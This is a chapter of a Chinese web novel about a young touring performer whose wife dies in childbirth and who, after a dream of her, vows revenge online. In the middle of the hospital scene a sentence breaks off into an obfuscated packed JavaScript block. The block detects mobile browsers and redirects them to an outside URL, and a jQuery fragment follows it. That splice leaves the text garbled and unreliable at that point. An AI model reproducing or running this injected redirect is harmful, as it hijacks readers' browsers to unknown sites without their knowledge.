三個月前。那是一個時差顛倒的清晨，窗外的城市還沉在霧裡，旅店房間的窗簾沒有完全拉緊，灰白色的光線像水一樣滲進來。帕爾克·茵－揚坐在床邊，手機握在手裡，螢幕的亮度調到最低，卻仍然刺眼。


    他盯著對話框很久，指尖停在鍵盤上，遲遲沒有落下。


    二十歲的他，臉還帶著少年尚未完全退去的線條，肩膀卻因為長期的工作而顯得單薄而疲憊。這一趟海外巡演已經持續了好幾個月，城市一個接一個，飯店、排練室、舞台，像是被剪下來的重複畫面。唯一不變的，是每天晚上，他都會看著手機，等一個來自家的訊息。


    他終於打字。


    帕爾克：


    阿米娜塔，我想跟你說一件事。


    醫師之前不是說妳產後需要有人在旁邊幫忙嗎？


    我可以暫時請假，回家陪妳一段時間。


    工作那邊我會自己處理，不會影響太久。


    我有點擔心你，一個人真的太辛苦了。


    訊息送出後，他立刻把手機扣在桌上，像是這樣就能減輕等待回覆的重量。不到十分鐘，震動聲響起。他翻過手機。


    阿米娜塔：


    不用。


    你現在的行程不能亂動，違約金你付得起嗎？


    我這邊一切都在掌控中。


    產後恢復我會請專業的人來，不需要你。


    你回來只會影響收入，也影響我安排好的計畫。


    字句冷靜、簡短，沒有多餘的情緒。


    帕爾克盯著那幾行字，胸口卻像被什麼壓住一樣。他想回覆，想解釋自己不是心血來潮，也不是不顧現實，但最後只打了一個字，又刪掉。


    手機再次被放下。房間裡只剩下空調低低的聲音。


    一個月前。


    那天他在排練室裡失誤了兩次，舞步慢了半拍，被舞蹈指導皺著眉頭糾正。休息時間，他坐在角落，水瓶放在腳邊，手卻一直握著手機。


    心裡那種不安，沒有因為時間而消失，反而越來越明顯。


    他再次打開對話框。


    帕爾克：


    我知道你之前說不用，但我真的還是有點不放心。


    這是你第一次懷孕，又是高齡產婦，醫師也有提醒風險。


    我不是要干涉你，只是想在旁邊。


    就算什麼都不做，陪著也好。


    這一次，回覆慢了一些。


    十分鐘。


    二十分鐘。


    他幾乎要以為不會再有回應。


    手機終於亮起。


    阿米娜塔：


    我能行。


    你不用把我想得那麼脆弱。


    我走到今天不是靠誰陪著。


    你把你該做的事做好，就是對我最大的幫助。


    不要再提這件事了。


    那一刻，帕爾克感到一種說不出口的挫敗。他不是被責罵，也不是被否定，而是被清楚地劃在一條線外。


    他知道阿米娜塔一向如此，強勢、果斷、習慣掌控一切。她的人生裡很少留下「需要別人」的位置。


    但那天，他第一次感到害怕。


    四月下旬。


    演出結束的那天晚上，天氣轉暖，旅店餐廳裡的窗戶半開著，微風帶著街道的氣味。帕爾克坐在靠窗的位置，面前的餐盤幾乎沒怎麼動。他的行程表上，這一站結束後，會有一段短暫的休息，然後前往巴黎，進行下一場演出。


    他原本打算，趁那段空檔，再試著說服一次。餐桌對面坐著卡托伍，正在低頭吃飯，一邊滑著平板看新聞。


    就在帕爾克伸手拿水杯的時候，手機鈴聲突然響起。不是簡訊，是電話。陌生的號碼。


    他的心臟猛地一縮。


    他接起來。「喂？」


    電話那頭的聲音平穩而正式，帶著醫療機構特有的冷靜。「請問是帕爾克·茵－揚先生嗎？」


    「是……我是。」帕爾克說。


    「這裡是諾爾茨州立大學附設醫院，構德芒滕分院。我們很抱歉用這樣的方式聯絡您。」電話裡的聲音。


    帕爾克的手指微微發抖。


    「關於您的配偶，阿米娜塔·查奧瑞女士……」


    後面的話，他沒有完整聽進去。


    世界像是突然被抽走了聲音。


    「……難產……經過搶救……」


    他感覺到一陣天旋地轉，視線迅速變暗，身體失去力氣，整個人向前倒去。


    餐具撞擊桌面的聲音，在他耳邊變得遙遠。


    當帕爾克失去意識的瞬間，手機從他手中滑落，被卡托伍一把接住。


    「喂？喂！」卡托伍立刻站起來，把手機貼近耳邊，語氣變得急促卻努力維持冷靜，「這裡是他的同事，他剛剛暈倒了，你能再說一次嗎？」


    電話那頭停頓了一秒。


    「我們理解這很突然。」醫師的聲音依舊冷靜，「阿米娜塔·查奧瑞女士於今日下午進行緊急剖腹產，過程中發生大量出血與併發症。」


    卡托伍的喉嚨發緊。「那……現在情況怎麼樣？」


    短暫的沉默。「我們已經盡力了。很遺憾，母子皆未能存活。」


    卡托伍閉上眼睛，吸了一口氣。「時間……是什麼時候？」


    醫師說：「確認死亡時間為東部時間下午四點二十七分。相關文件與後續流程，我們會再透過電子郵件寄給您。」


    「……好。」卡托伍的聲音低了下來，「謝謝你通知。」


    電話結束。


    餐廳裡的背景音樂仍在播放，其他客人低聲交談，沒有人注意到這一桌發生了什麼。


    卡托伍看著倒在椅子旁的帕爾克，那張年輕的臉蒼白得不像活人。


    他忽然不知道，等他醒來之後，該怎麼把這件事說出口。


    公司給的特別許可來得很快，快到像是一張薄薄的紙，卻壓得人喘不過氣。


    飛機降落在團結國的時候，天色陰沉，雲層低低地壓在跑道上方。帕爾克·茵－揚坐在靠窗的位置，安全帶早已解開，卻遲遲沒有起身。他的眼睛睜著，卻沒有焦點，像是整個人被留在半空中，只有身體抵達了目的地。


    工作人員輕聲提醒，他才慢慢站起來，動作僵硬得不像一個二十歲的年輕人。一路上，沒有人多說什麼。


    公司派來的人陪著他，替他處理文件、聯絡醫院、安排交通。每一個步驟都井然有序，像是演出流程表上的一行行指示，卻沒有任何一行寫著「怎麼承受」。


    車子停在醫院門口時，他的胃忽然一陣抽痛。醫院的走廊很長，白色的牆、白色的燈，白色的地板，所有顏色都被洗得乾乾淨淨。帕爾克被帶進一間小小的辦公室，桌上整齊地放著一疊文件。醫師的聲音低沉而平穩，像是在朗讀一份早已熟悉的說明——死亡證明、產程記錄、後續處理同意書。


    帕爾克坐在椅子上，雙手放在膝蓋上，指尖冰冷。


    「這裡需要家屬簽名。」醫師把筆推到他面前。


    帕爾克抬起頭，看著那支筆，像是在看一件陌生的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128909|132887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    器具。


    他點了點頭，伸手握住筆。


    名字寫得歪歪斜斜。


    最後一筆落下時，他的視線忽然模糊，胸口一陣劇烈的悶痛，耳邊的聲音迅速遠去。有人喊他的名字。有人扶住他的肩膀。世界再一次陷入黑暗。


    黑暗之中，地面開始浮現。那不是熟悉的土地，而是一片扭曲、起伏不定的平原，像是被揉皺的布，又像是尚未凝固的夢。天空呈現不自然的暗紅色，雲層低垂，緩慢流動。


    帕爾克站在那裡，腳下的地面柔軟而不穩。有人在叫他。


    「帕爾克。」


    他轉過身，看見阿米娜塔。


    她站在不遠處，臉上沒有傷痕，沒有疲憊，卻也不像活著的樣子。她的眼神沉靜，帶著一種他從未見過的脆弱。


    「對不起。」她開口，聲音輕得像風，「我不該那麼固執。」


    帕爾克張了張嘴，卻發不出聲音。


    「我不該去看那本書。」阿米娜塔低下頭，像是在懺悔，「不該相信那些話，說什麼可以改變命運、可以讓一切都照自己的意思來。」


    她抬起頭，眼神忽然變得急切。「那是邪書，帕爾克。它在騙我。」


    帕爾克的喉嚨終於找回聲音。「妳在說什麼……」


    阿米娜塔卻已經向後退了一步。


    「替我報仇。」她說，語氣低沉而堅定，「不要讓這種東西，再害其他人。」


    話音落下，她的身體開始變得透明。


    她的腳離開地面，慢慢地升起，像是被什麼力量牽引著，飛向那片暗紅色的天空。


    「阿米娜塔！」帕爾克奔向她，腳下的地面卻不斷延伸，怎麼也追不上，「不要走！」


    她在半空中停了一瞬，露出一個淡淡的、幾乎看不見的微笑。然後，消失了。


    天空恢復沉寂。帕爾克跪倒在地，雙手撐著那片扭曲的平原，聲音破碎地呼喚她的名字。沒有回應。


    「帕爾克？」聲音從遠處傳來。


    帕爾克猛地睜開眼睛。白色的天花板，消毒水的味道，床邊監測器規律的聲響。他躺在病床上，眼角濕冷，喉嚨乾澀。


    剛才的一切，像是一場過於清晰的夢。


    護士注意到他醒來，立刻靠過來確認狀況。他聽見自己的聲音回答問題，冷靜而空洞，彷彿在替另一個人發言。


    醫師再次出現，語氣溫和地詢問他是否需要延期處理後續事宜。


    帕爾克沉默了很久。最後，他輕輕地點了點頭。


    「請醫院……代為處理安葬。」他的聲音很低，「我現在……沒辦法。」


    那不是逃避，而是一種誠實。他知道自己如果站在那裡，會整個崩潰。


    回到家的那天，天氣晴朗得近乎殘忍。屋子裡一切都維持在他離開時的狀態，角落堆著尚未拆封的嬰兒用品，小小的床、衣服、奶瓶，整齊而安靜。


    帕爾克站在門口，看了很久。然後，他一樣一樣地整理，把那些東西全部變賣。不是因為缺錢，而是因為它們再也沒有用途。每賣掉一件，心裡就像被掏空一塊。


    夜裡，他坐在空無一物的客廳，打開手機，登入社群平台「Ｅ」。


    帕爾克·茵－揚：


    我失去了我的妻子。


    她的死不是意外。


    我會替她討回來。


    貼文送出後，螢幕暗了下來。


    屋子裡，只剩下他一個人的呼吸聲。


    春天已經來了，但他知道，有些東西，再也回不來了。